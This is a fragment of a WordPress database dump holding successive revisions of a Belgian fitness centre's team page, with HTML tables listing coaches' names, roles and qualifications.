(129, 1, '2013-06-16 14:50:56', '2013-06-16 14:50:56', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 14:50:56', '2013-06-16 14:50:56', '', 20, 'http://www.crosstrainingcenter.be/?p=129', 0, 'revision', '', 0),
(130, 1, '2013-06-16 14:55:43', '2013-06-16 14:55:43', '', 'rg', '', 'inherit', 'open', 'open', '', 'rg', '', '', '2013-06-16 14:55:43', '2013-06-16 14:55:43', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg', 0, 'attachment', 'image/jpeg', 0),
(131, 1, '2015-04-21 09:33:20', '2015-04-21 09:33:20', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\n&lt;h5&gt;Gérante\nCoach\nDiététicienne&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\n&lt;h5&gt;Fondateur Pierrard Sports\nFormateur coach\nCoach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\n&lt;h5&gt;Coach&lt;/h5&gt;\n&lt;ul&gt;\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-autosave-v1', '', '', '2015-04-21 09:33:20', '2015-04-21 09:33:20', '', 20, 'http://www.crosstrainingcenter.be/?p=131', 0, 'revision', '', 0),
(132, 1, '2013-06-16 14:55:32', '2013-06-16 14:55:32', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 14:55:32', '2013-06-16 14:55:32', '', 20, 'http://www.crosstrainingcenter.be/?p=132', 0, 'revision', '', 0),
(136, 1, '2013-06-16 15:00:45', '2013-06-16 15:00:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:00:45', '2013-06-16 15:00:45', '', 20, 'http://www.crosstrainingcenter.be/?p=136', 0, 'revision', '', 0),
(133, 1, '2013-06-16 14:57:50', '2013-06-16 14:57:50', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2 class=\&quot;arrondi\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\n\r\nCoatch\r\n\r\nDiététicienne&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 14:57:50', '2013-06-16 14:57:50', '', 20, 'http://www.crosstrainingcenter.be/?p=133', 0, 'revision', '', 0),
(134, 1, '2013-06-16 14:59:12', '2013-06-16 14:59:12', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;h2 class=\&quot;arrondi\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 14:59:12', '2013-06-16 14:59:12', '', 20, 'http://www.crosstrainingcenter.be/?p=134', 0, 'revision', '', 0),
(135, 1, '2013-06-16 15:00:22', '2013-06-16 15:00:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:00:22', '2013-06-16 15:00:22', '', 20, 'http://www.crosstrainingcenter.be/?p=135', 0, 'revision', '', 0),
(137, 1, '2013-06-16 15:02:45', '2013-06-16 15:02:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;1&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:02:45', '2013-06-16 15:02:45', '', 20, 'http://www.crosstrainingcenter.be/?p=137', 0, 'revision', '', 0),
